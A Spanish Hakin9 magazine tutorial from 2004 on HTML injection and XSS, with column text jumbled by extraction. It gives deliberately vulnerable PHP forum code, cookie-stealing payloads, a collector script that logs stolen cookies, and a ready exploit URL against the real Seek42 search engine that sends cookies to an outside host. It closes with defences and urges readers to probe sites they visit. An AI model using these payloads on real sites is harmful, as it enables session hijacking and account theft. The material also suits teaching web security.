  • 3. Ataques de tipo HTML injection Listado 1. Ejemplo elemental de página web vulnerable a ataques de Si html_ex.php no tipo HTML injection – archivo html_ex.html funciona Si el ejemplo presentado en los lista- <form action='./html_ex.php' method='post'> dos 1 y 2 no funciona en tu ordenador <center>[<b>Escoge tu formato</b>]</center><br> (o sea, si al introducir la dirección seña- <input type="radio" name="music" value="MP3" checked="true"> .MP3<br> lada no aparece ningún cuadro de diá- <input type="radio" name="music" value="OGG"> .OGG<br> <input type="radio" name="music" value="WAV"> .WAV<br> logo), revisa si en la configuración de <center><input type="submit" value="ENVIAR"></center> tu navegador está activada la opción </form> JavaScript. Si no lo está, el navegador no puede mostrar cuadros de diálogo. Puedes también comparar el código <form action='./exploit.php' Tratemos de realizar sobre fuente de la página web visualizada method='post'> este script un ataque HTML injec- con el que aparece en el listado 3. Pon tion similar al anterior. En lugar especial atención en que la línea: En cuanto los recibe, el script envía al de una URL normal, escribamos cliente dos cookies que contienen su en el formulario lo siguiente: http: <script>alert('hakin9') nombre de usuario y su contraseña: //127.0.0.1/inject/image.jpg"><scrip </script> t>alert('hakin9')</script>. El efecto no se vea como la siguiente: setcookie("mylogin",$_POST['login']); debería ser idéntico al obtenido en setcookie("mypasswd",$_POST['passwd']); el ejemplo anterior. Observemos el <script>alert('hakin9') código fuente de la página visuali- </script> Gracias a ellas no hace falta escribir zada – veremos en él la siguiente estos datos cada vez que visitamos línea: Si es así, lo más probable es que en el archivo de configuración de PHP la página. Después de enviar las cookies, el script envía un encabe- <img src=" http://127.0.0.1/inject/ (/etc/php.ini en la mayoría de las distri- zado HTTP location que hace que el image.jpg"><script>alert(' buciones de Linux) esté activa la opción navegador se dirija automáticamente hakin9')</script>"> de seguridad: a la página exploit.php. Una vez den- magic_quotes_gpc = On tro del sistema, nos encontramos ¿Cómo funciona? Sencillo: obser- con una página que simula la inter- vemos que la cadena que empie- Esta opción sirve para prevenir nume- rosos tipos de ataques HTML injection; faz de carga de imágenes nuevas za por “>, añadida por nosotros si quieres experimentar con el funciona- al foro. En esta página tenemos un al nombre del archivo gráfico, miento de los ataques descritos en el sencillo formulario en el que puede ha servido para cerrar la etique- presente artículo tendrás que darle un ser escrita la dirección de un archivo ta img. La cadena que le sigue, valor menos seguro: gráfico. Al hacer click en el botón, <script> alert('hakin9')</script>, esta dirección es enviada al script, el ha provocado la aparición de un magic_quotes_gpc = Off cual la introduce en la base de datos cuadro de diálogo, exactamente y la muestra por pantalla. como en el ejemplo anterior. Listado 2. Ejemplo de página web vulnerable al HTML injection Listado 3. Código fuente de (continuación) – archivo html_ex.php la página web visualizada al introducir la dirección http: <? //127.0.0.1/inject/html_ex.php? /* Asegúrate de que en el archivo php.ini esté puesto * "magic_quotes_gpc = Off" – en caso contrario el music=<script>alert('hakin9') * script dejará de ser vulnerable </script> */ error_reporting (E_ALL ^ E_NOTICE); <html> $myURL = $_REQUEST[music]; <head> ?> <title>Ejemplo simple</title> <html> </head> <head> <body bgcolor="white"> <title>Ejemplo simple</title> <br><br><br> </head> <center><h1>Tu elección: <body bgcolor="white"> <script>alert('hakin9')</script> <br><br><br><center><h1>Tu elección: <? echo($myURL); ?></h1></center> </h1></center> </body> </body> </html> </html> Hakin9 N o 1/2004 www.hakin9.org 3
  • 4. Figura 1. Página web de los listados 1 y 2 – funcionamiento normal y efecto causado por la intervención del hacker (aparición del cuadro de alerta) Ejemplo de uso de la En primer lugar, para que nues- presa especialmente difícil – basta técnica XSS tro ataque HTML injection valga utilizar cualquier foro de discusión. Todo perfecto hasta ahora. Sin em- la pena, debemos colocar nuestro Una de las características más im- bargo, abrir y cerrar ventanitas no es código en una página web que portantes del foro presentado en el precisamente lo que podríamos llamar sea frecuentada por mucha gente. ejemplo anterior es la manera de hacking de altos vuelos. Probemos Como hemos visto en el ejemplo conservar el nombre de usuario ahora a hacer algo un poco más difícil. anterior, no se trata de una em- y su contraseña en cookies. Más Listado 4. Foro vulnerable – xss_ex.php if ($_SERVER['REQUEST_METHOD'] == "POST") { setcookie("mylogin",$_POST['login']); setcookie("mypasswd",$_POST['passwd']); header("Location: exploit.php"); } if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd']) { echo("<center><b><a href="./exploit.php">Ya estás registrado </a></b></center>"); } else { ?> <br> <form action='./xss_ex.php' method='post'> <table border=0 width=0 heith=0> Basses <caption align="left">Demostración de HTML Injection</caption> <tr><td valign="top"> <b>Login: </b></td><td><input type=text name="login" value="root" size=50> </input></td></tr><td valign="top"> <b>Paswd: </b></td><td><input type=text name="passwd" value="demo" size=50> </input><br></td></tr><td valign="top"> <input type=submit value="Enter"> </td></tr> </table> </form> ... 4 www.hakin9.org Hakin9 N o 1/2004
  • 5. Ataques de tipo HTML injection Tabla 1. Caracteres ASCII y sus Conversión de caracteres ASCII a símbolos códigos hexadecimales hexadecimales Símbolo Código hexa- Analicemos las dos URLs siguientes: decimal • http://127.0.0.1/inject/html_ex.php?music=<script>alert(‘hakin9’) ! %21 </script> “ %22 • http://127.0.0.1/inject/html_ex.php?music= S %3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E # %23 $ %24 Vale la pena saber que ambas dirigen exactamente al mismo lugar. El código ASCII del símbolo < es 3C (en base 16). En vez de escribir <script podemos escribir %3Cscript. % %25 ¿Para qué? En ocasiones sucede no queremos incluir caracteres extraños en la URL, & %26 pues algunas aplicaciones y clientes de servicios web pueden tratar de eliminarlas. ‘ %27 La tabla 1 muestra una selección de los caracteres especiales más comunes con sus respectivos códigos hexadecimales. ( %28 ) %29 adelante mostraremos cómo robar 4 y 5) escribamos en el formulario el * %2A cookies de otros usuarios, lo que texto siguiente: + %2B nos permitirá hacernos pasar por , %2C cualquiera de ellos. http://127.0.0.1/inject/image.jpg"> - %2D Comenzaremos con un ejemplo <script>alert(document.cookie)</script> . %2E sencillo. En vez de la dirección de alguna imagen (nos referimos en Esto hará que aparezca en / %2F todo momento al foro de los listados pantalla un cuadro con el men- : %3A ; %3B Listado 5. Foro vulnerable, continuación – exploit.php < %3C <? = %3D // Nota: para simplificar el script hemos colocado directamente > %3E // en el código el nombre y la contraseña del usuario (normalmente // deberían obtenerse de alguna base de datos) ? %3F error_reporting (E_ALL ^ E_NOTICE); @ %40 $myURL = $_REQUEST[url]; // Si PHP no enmascara las comillas, lo hacemos nosotros: [ %5B if (get_magic_quotes_gpc()==0) { %5C $myURL = addslashes($myURL); ] %5D } if (($_COOKIE['mylogin'] == 'root') && ($_COOKIE['mypasswd'] == 'demo')) ^ %5E { _ %5F if($_SERVER['REQUEST_METHOD'] != "POST") { ~ %7E ?> <b>Demostración de HTML Injection</b> <br> saje: mylogin=root; mypasswd=demo. <form action='./exploit.php' method='post'> Como podemos ver, la variable URL de la imagen: <input type='text' name='url' document.cookie siempre contiene value='http://' length='50'><br> el valor de todas las cookies rela- <input type='submit'> cionadas con la página en la que </form> ... nos encontramos. Sin embargo, el $SQL_String = "SELECT User.Link FROM User"; que cada usuario pueda visualizar $SQL_String .= " Where(User.Login = 'root');"; sus propios datos no es exacta- $rs = mysql_query ($SQL_String) or die ($SQL_String); mente lo que nos interesa. Sería if ($row = mysql_fetch_object ($rs)) { mejor si estos datos nos fueran echo "<img src="$row->Link">n"; } else { enviados directamente a nosotros. echo "¡¡Error!!n"; La manera más sencilla de lograrlo } es colocando un enlace que haga ... que el navegador del usuario se di- rija a nuestras páginas y nos haga Hakin9 N o 1/2004 www.hakin9.org 5
  • 6. Listado 6. Ejemplos de secuencias cuya introducción en el formulario hará que nuestras cookies sean enviadas a un intruso: • image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/ cookie.php?cookie='+document.cookie”; • ./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2Bdocument.cookie;"> <script language=" llegar el valor de document.cookie Veamos cómo funciona el primer entre otras variables enviadas con ejemplo del listado 6. Su envío des- Listado 7. Script para escribir el método GET. de la página en la que se introducen en un archivo el contenido de la Analicemos el script del listado 7. las direcciones a archivos gráficos variable $cookie recibida con el Si lo solicitamos al servidor de la hará que al cliente le sea enviado el método GET – cookie.php siguiente manera: http://127.0.0.1/ siguiente código: <? inject/cookie.php?cookie=texto_de_ error_reporting prueba <img src="image.jpg" width="0" (E_ALL ^ E_NOTICE); haremos que en el archivo height="0" name="hia" onload= $cookie = $_REQUEST[cookie]; $fic=fopen("cookies.txt", "a"); cookies.txt aparezca la entrada tex- "hia.src='http://127.0.0.1/ fwrite($fic, "$cookien"); to_de_prueba. Si en la dirección que inject/cookie.php?cookie=' fclose($fic); acabamos de preparar colocáramos +document.cookie;"> ?> el contenido de la variable cookies, ¡ésta terminaría siendo enviada El mecanismo es simple: al igual secuencia enviada por nosotros se a nuestro servidor! que en los ejemplos anteriores, la ha añadido al código en el lugar Basses Figura 2. Esquema de funcionamiento del modelo simplificado de foro de los listados 4 y 5 6 www.hakin9.org Hakin9 N o 1/2004
  • 7. Ataques de tipo HTML injection a la página en más de un lugar, es- Listado 8. Script para examinar los cookies recibidos – view_ to ocasionaría la aparición en una cookie.php misma página de varias imágenes <? con el mismo nombre – hia – por echo("Demostración de HTML injection: intercepción de cookiesn<br>n"); lo que podríamos tener problemas $fic=fopen("cookies.txt", "r"); con la ejecución del método onload. while(!feof($fic)) { La terminación <script language=" $data = fgets($fic, 1024); hace que el resto de la página sea echo("<br>$data"); } tratado por el navegador como un fclose($fic); bloque inconcluso de JavaScript. Un ?> ejemplo del uso de esta técnica se muestra en el listado 9. Se trata del donde debería ir la URL de un ar- usuario sean enviadas a nuestro código fuente completo de un exploit chivo gráfico. Como consecuencia, servidor y escritas en el archivo que permite interceptar cookies de la imagen image.jpg (invisible, pues cookies.txt, el cual será creado (de usuarios del popular buscador http:// sus dimensiones son 0x0 pixels) se- ser necesario) en el mismo directo- sourceforge.net/projects/seek42/. rá visualizada. Inmediatamente des- rio en el que se encuentra el fichero pués de que ésta haya sido cargada, cookie.php. Para facilitarnos la rea- Cómo defenderse el navegador tratará de sustituirla lización del ataque podemos utilizar Aunque no es difícil realizar ataques (a causa del método onload) con otra un script como el mostrado en el de tipo HTML injection, en muchos “imagen”, cuya URL es: listado 8. casos defenderse de ellos no es tan En algunos casos es necesario sencillo. http://127.0.0.1/inject/ utilizar la secuencia <script lan- Existen dos maneras de poner cookie.php?cookie='+document.cookie; guage=" – como es el caso de la nuestras propias páginas web a sal- segunda URL del listado 6. La ra- vo de hackers. La primera consiste Como hemos mostrado anterior- zón es la siguiente: si el trozo de en analizar los datos que entran al mente, esto hará que las cookies del código que enviamos es añadido servidor antes de que éstos sean Figura 3. Esquema del ataque al foro de los listados 4 y 5 Hakin9 N o 1/2004 www.hakin9.org 7
  • 8. Listing 9. Exploit para Seek42 http://www.xxxx.net/seek42.php?q=trouble&E="></td></tr></table><br><br><center><b>Stone walls do not make a prison nor iron bars a cage</b><br><img src="http://www.jotdot.net/brandito/authentic/tho.jpg"><br> <img src="http://www.jotdot.net/brandito/authentic/tho.jpg" name="hia" onload="hia.src='http://www.jotdot.net/brandito/authentic/Secure/cookie.php?cookie='%2Bdocument.cookie;" width=0 height=0></center> <script language=" incorporados al código que ha de ha podido encontrar alguna de ellas archivo de configuración /etc/php.ini) ser enviado al cliente. Con la función o True en el caso contrario. imposibilitamos el funcionamiento de apropiada, podemos revisar si los Este primer método de defensa muchos scripts malignos que puedan datos contienen código HTML ma- es la opción preferida de muchos de venir del exterior. En nuestro caso, el ligno y, de ser así, rechazarlos en su los foros de discusión que podemos ataque a la página de los listados 1 totalidad o tratar de eliminar de ellos encontrar en Internet. Después de y 2 ya no funcionará. Sin embargo, el los fragmentos que nos parezcan localizadas, todas las etiquetas HTML que realizamos sobre nuestro sencillo sospechosos. Un ejemplo del uso de provenientes del usuario son elimina- ejemplo de foro no dejará de tener este método ha sido presentado en das de los datos, dejando sólo aque- éxito, porque en los datos enviados el listado 10. Podemos ver en él una llas que provienen del mismo sistema a la base de datos en la consulta SQL, versión del listado 2 que es inmune para procesarlas de modo especial. antes de cada símbolo de comillas de- al ataque gracias al uso de la fun- La segunda manera se basa be encontrarse una barra inversa. En ción is _ clean. Esta función revisa en la capacidad que tiene PHP de el listado del script exploit.php pode- si los datos de entrada contienen enmascarar automáticamente (con mos ver cómo se comprueba la opción al menos una de las secuencias “> barras inversas) todas las comillas magic _ quotes _ gpc y, si está inactiva, o <script, que son las que con mayor y los apóstrofes en los datos de entra- cómo se añaden las barras inversas. regularidad aparecen en ataques de da. Activando esta opción (o sea, po- En las versiones más moder- este tipo. La función regresa False si niendo magic _ quotes _ gpc = On en el nas de PHP la opción magic _ quo- tes _ gpc está activa por defecto. No Listado 10. Otra versión del script del listado 2, inmune a ataques de obstante, existen casos en los que tipo HTML injection – archivo html_ex_clean.php (como webmasters) tendremos que desactivarla – por ejemplo si nuestro <? script debe conservar datos en un error_reporting (E_ALL ^ E_NOTICE); archivo de texto, o cuando necesite- function is_clean ($container){ $container = strtolower($container); mos comparar cadenas alfanuméri- $container = str_replace(' ', "", $container); cas que contienen comillas. // Buscamos secuencias de caracteres que puedan servir para // realizar un ataque. Conclusiones $string1 = "<script"; Es posible encontrar en Internet nume- $string2 = "">"; if(!strstr($container,$string1) && !strstr($container,$string2)) { rosas páginas sensibles, en mayor // La secuencia es inofensiva. o menor grado, a algún tipo de ataque $result = True; HTML injection. Después de leer el } else { presente artículo, puedes intentar // La secuencia contiene fragmentos sospechosos. encontrar por ti mismo algunas de $result = False; } ellas – no sería muy extraño que te return $result; toparas con una vulnerabilidad de } éstas en alguna de las páginas que $myURL = $_REQUEST[music]; sueles visitar a diario. Para conven- // Asegurémonos de que la cadena en $myURL sea segura. cerse de ello, basta considerar el if(!is_clean($myURL)) Basses $myURL = ", para realizar un ataque de HTML injection"; exploit presentado en el listado 9, ?> que permite realizar ataques al re- <html> lativamente popular buscador http:// <head><title>Ejemplo simple</title></head> sourceforge.net/projects/seek42/. Yo <body bgcolor="white"> mismo encontré este agujero después <br><br><br><center><h1>Has escogido <? echo($myURL); ?></h1></center> </body> de una búsqueda que no duró más de </html> 30 minutos en una de las pausas du- rante la redacción de este texto.  8 www.hakin9.org Hakin9 N o 1/2004